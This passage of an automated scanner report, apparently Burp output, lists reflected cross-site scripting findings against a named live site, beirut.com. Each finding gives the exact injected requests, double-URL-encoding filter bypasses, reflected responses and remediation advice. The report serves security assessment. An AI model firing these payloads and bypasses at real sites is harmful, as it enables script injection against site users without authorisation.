HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:01:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63269
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=ThingsToDo39723"><a>09dc4a4ee5/Live-Music&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d954'-alert(1)-'acab0962de2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo5d954'-alert(1)-'acab0962de2/Live-Music/560568055 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:12:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='ThingsToDo5d954'-alert(1)-'acab0962de2/Live-Music'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1c33"><a>3503fd45ff8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Live-Musicb1c33"><a>3503fd45ff8/560568055 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:16:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo/Live-Musicb1c33"><a>3503fd45ff8&listingtype=events.php&Types=2"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ec8f'-alert(1)-'e79945d96e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Live-Music4ec8f'-alert(1)-'e79945d96e9/560568055 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:27:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63390
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='ThingsToDo/Live-Music4ec8f'-alert(1)-'e79945d96e9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3bdc"><a>e917fcc1615 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDoe3bdc"><a>e917fcc1615/Markets-and-Deals/0106299254 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:44:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64274
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=ThingsToDoe3bdc"><a>e917fcc1615/Markets-and-Deals&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1309b'-alert(1)-'bd06f90935b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo1309b'-alert(1)-'bd06f90935b/Markets-and-Deals/0106299254 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:53:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63804
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='ThingsToDo1309b'-alert(1)-'bd06f90935b/Markets-and-Deals'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e6c8"><a>bfb5ed55339 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo/Markets-and-Deals5e6c8"><a>bfb5ed55339/0106299254 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:56:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55438
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=ThingsToDo/Markets-and-Deals5e6c8"><a>bfb5ed55339&listingtype=events.php&Types=19"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ceee6'-alert(1)-'21ad3a8efea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Markets-and-Dealsceee6'-alert(1)-'21ad3a8efea/0106299254 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:06:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55468
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='ThingsToDo/Markets-and-Dealsceee6'-alert(1)-'21ad3a8efea'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95a60%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e57f053acbda was submitted in the REST URL parameter 4. This input was echoed as 95a60"><script>alert(1)</script>57f053acbda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Monot/Ghada-Ghanem-Singing-with-The-Lebanese-Philharmonic-Orchestra/604495a60%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e57f053acbda HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:37:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=604495a60"><script>alert(1)</script>57f053acbda&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload acdf4%2527%253balert%25281%2529%252f%252f798aee3afea was submitted in the REST URL parameter 4. This input was echoed as acdf4';alert(1)//798aee3afea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Monot/Ghada-Ghanem-Singing-with-The-Lebanese-Philharmonic-Orchestra/6044acdf4%2527%253balert%25281%2529%252f%252f798aee3afea HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:38:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid='6044acdf4';alert(1)//798aee3afea'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f8ae%2527%253balert%25281%2529%252f%252f3e321c74abf was submitted in the REST URL parameter 4. This input was echoed as 7f8ae';alert(1)//3e321c74abf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Monot/Un-Mage-En-Ete-Laurent-Poitrenaux/59957f8ae%2527%253balert%25281%2529%252f%252f3e321c74abf HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:31:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Index'; var initfacebox=''; var contactid='59957f8ae';alert(1)//3e321c74abf'; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a155d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e708b90da5ae was submitted in the REST URL parameter 4. This input was echoed as a155d"><script>alert(1)</script>708b90da5ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ThingsToDo/Monot/Un-Mage-En-Ete-Laurent-Poitrenaux/5995a155d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e708b90da5ae HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 06:30:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co ...[SNIP]... <a id="moreinfo" rel="facebox" href="/moreInfo.php?contactid=5995a155d"><script>alert(1)</script>708b90da5ae&randstyle=magenta"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 416d1"><a>efbbf2edf38 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ThingsToDo416d1"><a>efbbf2edf38/Parties/1690334 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:43:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=orange&indexpage=ThingsToDo416d1"><a>efbbf2edf38/Parties&listingtype=events.php&Types="> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f200c'-alert(1)-'f9ca2a5a0b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDof200c'-alert(1)-'f9ca2a5a0b0/Parties/1690334 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:54:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='ThingsToDof200c'-alert(1)-'f9ca2a5a0b0/Parties'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9324b'-alert(1)-'3612c4b09db was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ThingsToDo/Parties9324b'-alert(1)-'3612c4b09db/1690334 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
